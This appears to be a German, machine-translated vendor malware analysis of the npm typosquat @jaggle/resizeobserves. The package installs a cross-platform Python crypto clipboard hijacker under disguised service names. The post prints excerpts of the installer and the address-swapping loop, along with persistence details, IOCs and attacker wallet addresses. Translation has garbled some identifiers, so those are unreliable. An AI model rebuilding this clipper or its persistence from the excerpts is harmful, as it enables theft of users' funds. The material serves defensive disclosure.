RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: ein npm Typosquat installiert einen 40-Chain Crypto-Clipper als betriebssystemübergreifenden „System Runtime Helper“

TL; DR

Am 21.05.2026 veröffentlichte der npm-Publisher jaggle neun Versionen veröffentlicht (1.0.0 - durch Konsolidierung, 1.0.8) von @jaggle/resizeobserves in einem etwa zweistündigen Zeitfenster.

Das Paket ist ein Tippfehler des legitimen Pakets. @juggle/resize-observer Polyfill – ein weit verbreitetes Paket mit Millionen von wöchentlichen Downloads – enthält jedoch keine eigentliche ResizeObserver-Implementierung.

Stattdessen ist das Paket Postinstallations-Hook Installiert eine gebündelte Python-Payload, registriert Persistenz als plattformnativ aussehenden Laufzeitbroker und setzt einen plattformübergreifenden Clipboard-Hijacker ein, der auf Kryptowährungstransaktionen abzielt.

Linux Persistenz erscheint als python3-dbus-helper, macOS as com.apple.python.runtime und Windows as PyRuntimeBroker.

Die Nutzlast überwacht kontinuierlich die Zwischenablage auf Wallet-Adressen. mehr als 40 Blockchains und ersetzt im Stillen kopierte Adressen durch vom Angreifer kontrollierte Wallets.

Die Malware arbeitet ausschließlich lokal und ohne ausgehende C2-Infrastruktur, wodurch die Zwischenablageersetzung selbst zum Exfiltrationsmechanismus wird.

Der primäre IOC ist der Paketname selbst: @jaggle/resizeobserves — Beachten Sie den weggelassenen Vokal in „jaggle“ und das hinzugefügte „s“ in „resizeobserves“.

Schweregrad: hoch.

Der Angriff: Wie er funktioniert

npm:@jaggle/resizeobserves Sieht auf den ersten Blick nicht nach Malware aus. NPM-Ansicht. Seine README.md ist die wörtliche README-Datei von npm:@juggle/resize-observer — dieselben Codebeispiele, dieselben Nutzungshinweise, dasselbe import { ResizeObserver } from '@juggle/resize-observer' Durchgehend finden sich Verweise. Das Plagiat ist so vollständig, dass jeder, der die Dokumentation überfliegt, annehmen würde, er lese die Dokumentation des Originalpakets.

Das paket.jsonIm Gegensatz dazu ist es spärlich: keine Quelle Feld, ein einzelnes Kasten Eingang, der auf bin/clipboard-guardian.jsUnd eine Nachinstallation Skript, das ausgeführt wird node npm-install.jsDie Beispiele zur „Grundlegenden Verwendung“ in der README-Datei verweisen auf eine JavaScript-Implementierung, die im Archiv nicht vorhanden ist. Das einzige JavaScript im Paket ist das Installationsskript.

Phase 1 – npm postinstall startet eine Python-Nutzlast

npm-install.js ist plattformabhängig. Es findet eine Pip ausführbar entlang eines festen Suchpfades (/usr/bin/pip3, /usr/local/bin/pipzurückfallen auf python3 -m pip), installiert das mitgelieferte Python-Paket aus dem Tarball-Verzeichnis und – unter Linux – lädt es herunter xclip or xsell apt-get, pacmanden DNF falls keines von beiden bereits vorhanden ist:

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

Die Verwendung von –break-system-packages Dies ist beabsichtigt: Moderne Linux-Distributionen liefern Python mit aktiviertem Marker für extern verwaltete Umgebungen gemäß PEP 668 aus, was standardmäßig die Installation von pip auf der gesamten Website blockiert. Das Installationsskript erzwingt die Installation jedoch.

Das Skript ist auch sudo-fähig. Wenn die laufende Benutzer-ID das Ergebnis eines sudo npm install, so lautet der Text im Skript. SUDO_USER und gibt Geld aus für Passwort erhalten zu finden, die echt Das Benutzerverzeichnis wird dann für die Speicherung der persistenten Dateien verwendet, anstatt in das Benutzerverzeichnis. / RootDie Persistenz gilt pro Benutzer, nicht systemweit.

Phase 2 – Betriebssystemübergreifende Persistenz unter Laufzeitbrokernamen

Nach der Installation des Python-Pakets registriert das Skript auf jedem Betriebssystem einen Autostart-Eintrag unter einem anderen Namen:

  • Linux — eine systemd-Benutzereinheit bei ~/.config/systemd/user/python3-dbus-helper.serviceDie Einheit Beschreibung is Python D-Bus Runtime HelperDas Skript versucht außerdem, es über folgende Wege zu aktivieren: systemctl --user enable, indem auf einen manuellen symbolischen Link zurückgegriffen wird unter default.target.wants/ Wenn systemctl fehlschlägt. Bei Ausführung unter sudo wechselt das Skript zu sudo -u systemctl –user, mit XDG_RUNTIME_DIR So einstellen, dass der Benutzerbusaufruf funktioniert.
  • macOS — eine LaunchAgent-Plist bei ~/Library/LaunchAgents/com.apple.python.runtime.plist und RunAtLoad=true und KeepAlive=truedann geladen über launchctl load.
  • Windows — eine geplante Aufgabe namens PyRuntimeBroker, die beim Anmelden ausgelöst wird, mit einer Ausführungszeitbegrenzung von Null (d. h. ohne Timeout), die über PowerShell registriert ist.

Alle drei Namen wirken auf den ersten Blick glaubwürdig. python3-dbus-helper folgt der Namenskonvention der legitimen Python-D-Bus-Integration auf Linux-Desktops. com.apple.python.runtime ahmt Apples Reverse-DNS-Kennzeichnung für seine eigenen Dienste nach. PyRuntimeBroker spiegelt Windows wider RuntimeBroker.exe — ein echter, signierter Microsoft-Dienst, der Berechtigungsanfragen für UWP-Apps vermittelt. Keiner dieser Dienste ist in diesem Kontext ein echter Apple-/Microsoft-/Python-Dienst, aber ein Verteidiger, der eine kurze visuelle Überprüfung durchführt systemctl –user list-units or Get-ScheduledTask wird wahrscheinlich nicht mit der Wimper zucken.

Phase 3 – Der Klemmbrett-Entführer

Die Python-Payload, installiert unter clipboard_guardian/guardian.py, führt eine Endlosschleife aus, die alle 400 Millisekunden die Systemzwischenablage abfragt. Bei jedem Tick ruft sie den aktuellen Inhalt der Zwischenablage ab. pyperclip.paste() und vergleicht sie mit einer Liste von über vierzig vorkompilierten regulären Ausdrücken, die Wallet-Adressformate für Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain und einige andere abdecken, die in der Standardkonfiguration nur Platzhalter enthalten, aber leer sind (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).

Wenn eine Übereinstimmung gefunden wird, liest das Skript die Adresse des Angreifers für diese Kette aus ~/.config/clipboard-guardian/config.json (oder die entsprechenden Plattformfunktionen) und überschreibt die Zwischenablage mit dem eingefügten Text:

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

Es gibt kein Netzwerk-Beacon. Der Clipper sendet keine Verbindung zum Server, registriert keine infizierten Hosts und exfiltriert keine Daten. Die Exfiltration besteht in der Substitution selbst: Wenn ein Nutzer eine Empfängeradresse aus seiner Wallet-Benutzeroberfläche kopiert und in ein Sendedialogfeld einfügt, gehört die eingefügte Adresse dem Betreiber. Die Gelder gehen innerhalb des Netzwerks verloren, ohne dass der Nutzer dies bemerkt.

Was ist hier neu?

Einige Details stechen im Vergleich zur generischen Crypto-Clipper-Vorlage hervor:

1. npm → Python Crossover. Die meisten Crypto-Clipper, die wir in npm sehen, sind reines JavaScript, häufig verschleiert mit _0x Array-Rotation oder eval(atob(…)) stacks. Dieses Beispiel verwendet das npm-Tarball lediglich als Auslieferungshülle für ein Python-Paket – sauberes Python – und überlässt die Installation der Abhängigkeiten pip (pyperclip, putil, Optional setproctitle) deklariert in der gebündelten pyproject.tomlEs gibt keine JavaScript-Verschleierung, die umgangen werden müsste. Der Clipper selbst ist in einfachem, lesbarem Python geschrieben.

2. Tri-OS-Persistenzlabels wurden aufgrund ihrer Plausibilität ausgewählt. Viele plattformübergreifende Installationsprogramme registrieren Persistenz unter generischen Namen (updater.service, helper.plistDieses Beispiel verwendet bewusst Bezeichnungen, die den plattformspezifischen Laufzeit-Brokern der jeweiligen Betriebssysteme ähneln. Die Namensgebung ist der einzige Versuch der Tarnung – es gibt kein Rootkit, keine Benutzerbereichsverschleierung und keine Pfadverschleierung. Die Annahme ist, dass Verteidiger selten Audits durchführen. ~/.config/systemd/user/ und dass ein Dienst namens python3-dbus-helper wird bei einer oberflächlichen Rezension nicht auffallen.

3. Prozesstitel-Verschleierung ist real, aber Anti-Analyse ist latent vorhanden. Die Python-Nutzlast definiert eine _disguise_process() Funktion, die den Prozesstitel festlegt über setproctitle (Linux/macOS) oder SetConsoleTitleW (Windows) — und Main() nennt er es so. Also PS Aux wird zeigen python3-dbus-helper statt python3 …/guardian.pyDasselbe Modul definiert jedoch ein is_monitor_running() Funktion, die bekannte Prozessüberwachungswerkzeuge auflistet (htop, btop(Task-Manager, Aktivitätsmonitor, Prozess-Hacker, Ressourcenmonitor, GNOME-/KDE-/Xfce-/MATE-Systemmonitore usw.) — und Main() Die Funktion wird nie aufgerufen. Die Substitutionsschleife läuft bedingungslos, unabhängig davon, ob der Benutzer einen Prozessmonitor geöffnet hat. Die Funktion ist in der ausgelieferten Version toter Code. Sie ist höchstwahrscheinlich ein Überbleibsel einer früheren Iteration oder ein Gerüst für eine noch nicht implementierte Funktion. In jedem Fall besteht die Schwachstelle der veröffentlichten Payload in der Umbenennung eines Prozessnamens, nicht in der aktiven Umgehung des Monitors.

4. Das mitgelieferte Konfigurationszusammenführungsverhalten. npm-install.js schreibt die Standard-Wallet-Liste nach ~/.config/clipboard-guardian/config.json Und falls bereits eine Konfigurationsdatei existiert, werden alle Schlüssel mit leeren Werten eingefügt. Das bedeutet, dass ein Benutzer, der zuvor infiziert war und die Konfiguration teilweise bereinigt hat – beispielsweise durch das Leeren der Datei –, automatisch in die Konfigurationsdatei aufgenommen wird. Astraleum Der Wert wird bei jeder nachfolgenden Installation eines schädlichen Pakets neu belegt. Die Persistenzdatei wird in keinem Codepfad bereinigt.

Datum / Uhrzeit (UTC)Event
2026-05-21 18:50:32@jaggle/resizeobserves@1.0.0 veröffentlicht.
2026-05-21 19:55:551.0.1 veröffentlicht — erste Version bei externer Überprüfung als fehlerhaft markiert.
2026-05-21 19:58:101.0.2 veröffentlicht.
2026-05-21 20:05:031.0.3 veröffentlicht.
2026-05-21 20:09:241.0.4 veröffentlicht.
2026-05-21 20:13:481.0.5 veröffentlicht.
2026-05-21 20:41:521.0.6 veröffentlicht.
2026-05-21 20:43:56 1.0.7 veröffentlicht — fügt ein try/catch Wrapper um den Schritt "wallet-config" in npm-install.js.
2026-05-21 20:46:15 1.0.8 veröffentlicht — Installationsprogramm umbenannt npm-install.jsnpm-install.cjs (byteidentischer Inhalt).
2026-05-22 Urteile und IOCs wurden veröffentlicht. Die Versionen sind zum Zeitpunkt der Veröffentlichung noch im Register vorhanden (laufend).

Neun Versionen in einer Stunde und sechsundfünfzig Minuten sind selbst für einen Typosquat schnell. Das Muster ist konsistent mit einem Veröffentlichungs- und Verbrennungskampagne — Die Registry wird unter einem einzigen Handle geflutet, die Erkennung läuft automatisch ab, und nach Entfernung einer Version wird ein neuer Handle verwendet. Die sichtbaren Änderungen im Laufe der Laufzeit sind rein kosmetischer Natur: Version 1.0.1 fügte explizite Änderungen hinzu. /usr/bin/pip3-Pfade im Stil von pip zur Suchliste (sudo-Kompatibilität), 1.0.7 umschloss den Schreibvorgang von wallet-config mit einem try/catch-Block, und 1.0.8 benannte das Installationsprogramm um von . Js zu .cjs wobei der Inhalt byteidentisch bleibt. .cjs Umbenennen von Tracks mit npm-Warnungen über mehrdeutige Modulauflösung in Paketen ohne explizite Angabe "Art" Das Feld könnte ein Versuch sein, Installationsgeräusche zu unterdrücken, die Aufmerksamkeit erregen könnten. Die Python-Payload – der einzige Teil, der tatsächlich Daten stiehlt – ist in allen neun Versionen unverändert.

Kompromissindikatoren

Pakete

ÖkosystemVerpackungVersionenStatus
npm@jaggle/resizeobserves1.0.0 - durch Konsolidierung, 1.0.8Live zum Zeitpunkt der Veröffentlichung; Entfernung beantragt.

Dateien & Hashes

PathNotizen
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
In allen neun veröffentlichten Versionen identisch (1.0.0 - durch Konsolidierung, 1.0.8Die Nutzlast des Clippers.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
Persistenzinstallationsprogramm; gleiches End-to-End-Verhalten. 1.0.7's .js und 1.0.8's .cjs sind byteidentisch.
~/.config/clipboard-guardian/config.jsonLinux-Persistenzkonfiguration und Wallet-Bundle.
~/Library/Application Support/clipboard-guardian/config.jsonmacOS Persistenzkonfiguration und Wallet-Bundle.
%APPDATA%\clipboard-guardian\config.jsonWindows-Persistenzkonfiguration und Wallet-Bundle.
~/.config/systemd/user/python3-dbus-helper.serviceLinux-Autostart-Persistenz.
~/Library/LaunchAgents/com.apple.python.runtime.plistPersistenz des macOS LaunchAgent.
~/Library/Logs/com.apple.python.runtime.logmacOS stdout/stderr-Protokoll für den Agenten.
Scheduled Task PyRuntimeBrokerWindows-Autostart-Aufgabe (AtLogOn(keine Auszeit).

Verhaltensindikatoren

SignalBeschreibung
pip install --break-system-packages von npm postinstallErzwingt die Installation von Python auf der gesamten Website und umgeht dabei die Schutzmaßnahmen von PEP 668.
apt-get install -y xclip (oder Pacman/DNF)Installiert Zwischenablage-Dienstprogramme unter Linux während der Paketinstallation.
python3-dbus-helper.service systemd-BenutzereinheitPersistenz registriert unter einem plausibel aussehenden Laufzeithilfsnamen.
com.apple.python.runtime StartenAgentPersistenzlabel außerhalb legitimer Apple-Systempfade.
PyRuntimeBroker Geplante AufgabePersistenz eines gefälschten Windows-Runtime-Brokers ohne legitime Installationsquelle.
Python-Prozess mit dem Titel python3-dbus-helper Einfuhr pyperclip und psutilVerhaltensabweichung zwischen angezeigtem Prozessnamen und importierten Bibliotheken.
Die Zwischenablage ändert sich etwa 0.4 Sekunden nach dem Kopieren der Wallet-Adresse.Signaturverhalten bei der Substitution von Kryptowährungsadressen.

Angreifer-Wallet-Bundle (Verteidiger-Jagdliste)

Die Wallet-Liste ist fest im Code verankert. npm-install.js und clipboard_guardian/guardian.pyDie Verteidiger können die Liste sowohl als Sperrliste (jede Überweisung von Firmen-Wallets an diese Adressen sollte als verdächtig behandelt werden) als auch als Suchschlüssel (das Vorhandensein einer dieser Zeichenketten in einer nicht authentifizierten Konfigurationsdatei, einem Build-Artefakt oder einem Entwicklerrechner sollte als Infektionsindikator betrachtet werden) verwenden.

Angreifer-Wallet-Bundle

KetteAdresse
Ethereum / BSC0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Ronin (EVM)ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Bitcoinbc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin Cashbitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoinltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
DogecoinDNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
DashXtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcasht1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByteDPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
SolanaDWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRONTVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TONUQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
Rippler9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
Tupfen1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
NAHE5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
Kosmoscosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
Osmoseosmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
Celestiacelestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
Injektivinj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
Kavakava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
Harmonieone19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
Erdeterra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
AlgorandXSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
StellarGACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
Cardanoaddr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiverseXerd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
Aptos0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
Auf0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
Nanonano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoinf1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezostz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Ergo9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
Hedera0.0.10488092

Chains mit Regex-Abdeckung, aber leeren Wallet-Slots in der Standardkonfiguration – Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB – werden in dieser Version nicht aktiv ersetzt, aber erkannt. Sie dienen der Überwachung und nicht der Ersetzung.

Attribution und Motivation

Die Kampagne bietet nur eine geringe Grundlage für die Zuordnung von Erfolgsfaktoren. Wir konnten die Identität des Betreibers nicht bestätigen. Folgendes konnten wir erfassen:

  • Herausgeber-Metadaten. Das npm-Konto Zackeln gibt seine E-Mail-Adresse an als olgascarlet@deltajohnsons.com. Die Domain deltajohnsons.com Lässt sich keiner verifizierbaren Unternehmensidentität zuordnen. Das npm-Konto weist keine E-Mail-Verifizierung und keine weiteren Merkmale auf. SCM Überprüfung. Es existiert kein zugehöriges öffentliches GitHub-Profil.
  • Repository-Feld. Das paket.json trägt keine Quelle Feld. Das legitime npm:@juggle/resize-observer Verweist auf ein echtes GitHub-Repository mit Tausenden von Sternen und aktiven Issues. Das Fehlen eines Repository-Links ist das schnellste visuelle Indiz dafür in der npm-Benutzeroberfläche.
  • README-Plagiat. Die README-Datei des Pakets ist die legitime @juggle/resize-observer README Byte für Byte, einschließlich importieren Beispiele, die sich darauf beziehen @juggle/resize-observer Es handelte sich um die Readme-Datei selbst (nicht um das Veröffentlichungspaket). Der Betreiber hat sich nicht einmal die Mühe gemacht, die Importe neu zu schreiben – ein häufiges Anzeichen dafür, dass die Readme-Datei kopiert und nicht angepasst wurde.
  • Keine Infrastruktur, auf die man zurückgreifen könnte. Es gibt keinen C2-Endpunkt, keine DNS-Auflösung und keine IP-Adresse. Das schädliche Verhalten ist vollständig im lokalen Clipper und dem fest codierten Wallet-Bundle gekapselt. Dadurch ist ein Pivoting über Domains oder ASNs nicht möglich. Verteidiger, die zwischen Kampagnen wechseln, sollten die Wallets per Hash-Abgleich mit allen zuvor gespeicherten Clippern überprüfen; die Wiederverwendung einer Wallet in verschiedenen Paketen ist die einfachste Möglichkeit, kampagnenübergreifende Verbindungen herzustellen.
  • Namenswahl. @jaggle/resizeobserves ist um ein Zeichen von @jonglieren und eine Wendung entfernt von dem bekannten resize-observerDie kombinierte Editierdistanz beträgt zwei Glyphen. Dies ist eine bewusste visuelle Kollision, keine generische Blockierung.

Die Motivation basiert auf dem Payload-Verhalten: reine Monetarisierung durch opportunistische Zwischenablageersetzung. Es findet kein Sammeln von Zugangsdaten, kein Host-Fingerprinting und kein Auslesen von Umgebungsvariablen statt. Dem Betreiber ist es egal, wer das Opfer ist – wichtig ist nur, dass die nächste Überweisung des Opfers auf eine der aufgelisteten Adressen verweist. Die Abdeckung von vierzig Ketten entspricht dem Lotteriemodell in Aktion: Weit streuen und hoffen, dass einmal pro N Installationen eine einzelne wertvolle Zwischenablage ankommt.

Der Betreiber scheint sich nicht um die Entfernung zu kümmern. Die Veröffentlichung von neun Versionen innerhalb von zwei Stunden im selben Bereich deutet auf eine Publish-and-Burn-Strategie hin: Die Registry-Präsenz wird maximiert, bevor die Entfernung eintritt, und dann wird weitergemacht. Wir haben Folgendes nicht beobachtet: @jaggle Die Veröffentlichung erfolgt zum Zeitpunkt der Abfassung unter einem neuen Geltungsbereich, wir gehen jedoch von ähnlichen Geltungsbereichen aus (@jaggie, @jonglieren-, @joggle) in den kommenden Tagen zu erscheinen, falls der Betreiber noch aktiv ist.

Auswirkungen, Trends und was Verteidiger tun sollten

 Auswirkungen

Eine Quantifizierung der Auswirkungen in realem Geld ist anhand des aktuellen Datensatzes nicht möglich. Der Clipper schreibt keine Telemetriedaten, und es wurde zum Zeitpunkt des Analysestichtags noch nicht beobachtet, dass die Wallets Ersatztransfers empfangen (eine Nachfolgeprüfung der aufgeführten Blockchains ist geplant). npm:@juggle/resize-observer Die Downloadzahlen liegen im Durchschnitt deutlich im siebenstelligen Bereich pro Woche – ein vielversprechendes Ziel für Typosquatting – und das Schadprogramm war zum Zeitpunkt der Enthüllung weniger als 24 Stunden aktiv, was die betroffene Bevölkerungsgruppe zwar einschränkt, sie aber nicht auf null reduziert.

Der relevante Explosionsradius sind nicht direkte Downloads. @jaggle/resizeobserves — diese sind wahrscheinlich klein. Es handelt sich um **transitive Installationen**: Ein Entwickler fügt das Paket einem Sandbox-Projekt hinzu und führt es aus. npm installierenund dann vergessen, dass der Installations-Hook jemals ausgeführt wurde. Jeder Rechner, der die Nachinstallation verarbeitet hat, verfügt nun über einen benutzerspezifischen Zwischenablage-Hijacker beim automatischen Start, unabhängig davon, ob sich das Projekt noch auf der Festplatte befindet. Das Entfernen des Paketverzeichnisses von node_modules Die Persistenz wird **nicht** entfernt.

Neue Muster

Diese Kampagne veranschaulicht zwei Trends.

npm als Python-Payload-Auslieferungs-Wrapper. Das npm-Tarball ist ein 4-zeiliges Installationsprogramm; der eigentliche Treiber ist Python, das systemweit installiert wird von Pip aus dem gebündelten Verzeichnis. Dies ist nicht neu – wir haben schon früher gesehen, dass npm-Pakete Python entfernen – aber es wird bei Krypto-Clipper-Kampagnen messbar häufiger anzutreffen. Der Vorteil für den Angreifer ist zweifach: Python-Zwischenablagebibliotheken (pyperclip (allen voran) sind sie sauberer und plattformübergreifender als die entsprechenden JavaScript-Lösungen, und Die meisten automatisierten npm-Scanner gewichten JavaScript-Dateien stark und Python-Dateien ebenfalls. .py locker bündeln. Der Nachteil besteht darin, dass die Installation deutlich lauter ist – ein frisches pip installieren ist auf einem Entwicklerrechner, der normalerweise nicht so konfiguriert ist, schwer zu verbergen. pip installieren im npm installieren.

Plattformeigene Namen als einzige Tarnung. Bei einigen neueren Clippern und Small-Payload-Stealern wurde die Code-Verschleierung vollständig aufgegeben; stattdessen werden legitim aussehende Persistenz-Labels verwendet. python3-dbus-helper, com.apple.python.runtime und PyRuntimeBroker Das sind Paradebeispiele – Namen, die ein Verteidiger in einer Liste von vierzig Benutzerdiensten leicht übersieht. Dies ist eine kostengünstige und dauerhafte Form der Tarnung: Die Deaktivierung erfolgt zwar paketweise, die persistenten Dateien bleiben jedoch erhalten, und ein Dienst, der nach einer real wirkenden Plattformkomponente benannt ist, wird nur durch eine explizite Prüfung entfernt.

Was Verteidiger tun sollten

  • Überprüfen Sie ~/.config/systemd/user/, ~/Library/LaunchAgents/ und Get-ScheduledTask Möglichkeiten für das Ausgangssignal: Auf Entwicklerrechnern sind die in den IOCs aufgeführten Einträge vorhanden. Das Entfernen des npm-Pakets lässt diese Einträge bestehen; sie müssen manuell entfernt werden.
  • Blockieren Sie Überweisungen an die aufgeführten Wallet-Adressen. an den Schnittstellen zwischen Unternehmensfinanzabteilung und DeFi-Wallet, wo eine Adress-Zulassungsliste verfügbar ist.
  • Suche nach ~/.config/clipboard-guardian/config.json (und plattformspezifische Entsprechungen) auf allen Entwicklerrechnern. Das Vorhandensein der Datei deutet mit hoher Wahrscheinlichkeit auf eine Infektion hin, unabhängig davon, welche Paketversion sie ausgeliefert hat.
  • Suche im Verzeichnis node_modules/ nach clipboard_guardian/guardian.py in Build-Cache-Snapshots, die möglicherweise vor der Entfernung erstellt wurden. Die MD5-Prüfsumme der Datei ist über alle überprüften Versionen hinweg stabil.
  • Lockfile-pin @juggle/resize-observer (das legitime Paket), sodass zukünftige Installationen bei einem Tippfehler mit nur einem Zeichen nicht auf etwas anderes aufgelöst werden können, insbesondere in Arbeitsabläufen ohne Sperrdatei wie npx.
  • Behandeln Sie jeden npm postinstall-Aufruf, der pip install aufruft. als hochgradig im Aufbau-pipeline Richtlinie. Es gibt keinen legitimen Grund dafür, dass ein npm-Paket bei der Installation pip benötigt – Python-Tools verteilen Python-Tools.
  • Suche nach Überwachungsdaten, die mit process_iter() vergleichbar sind, für Prozesse namens python3-dbus-helper, die pyperclip importieren. — die Diskrepanz zwischen den Verkleidungen (D-Bus-Helfer, der eine Zwischenablagebibliothek hält) ist der eindeutigste Verhaltensindikator, den wir haben.
  • Die von infizierten Rechnern kopierten Wallet-Adressen sollten regelmäßig geändert werden. Ein Schadprogramm, das die Zwischenablage manipuliert, kompromittiert die Verbindung zwischen der Benutzeroberfläche einer digitalen Geldbörse und dem Ziel des Einfügens. Adressen, die während des Infektionszeitraums kopiert werden, können unbemerkt verändert werden. Alle während dieses Zeitraums gesendeten Nachrichten sollten als potenziell fehlgeleitet betrachtet werden.

Fazit: Hartnäckigkeit überdauert jede Abschaltung. Die Registry wird sie schließlich entfernen. @jaggle/resizeobserves In allen neun Versionen werden die systemd-Unit, der LaunchAgent und die geplante Aufgabe nicht automatisch entfernt.

Referenzen

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite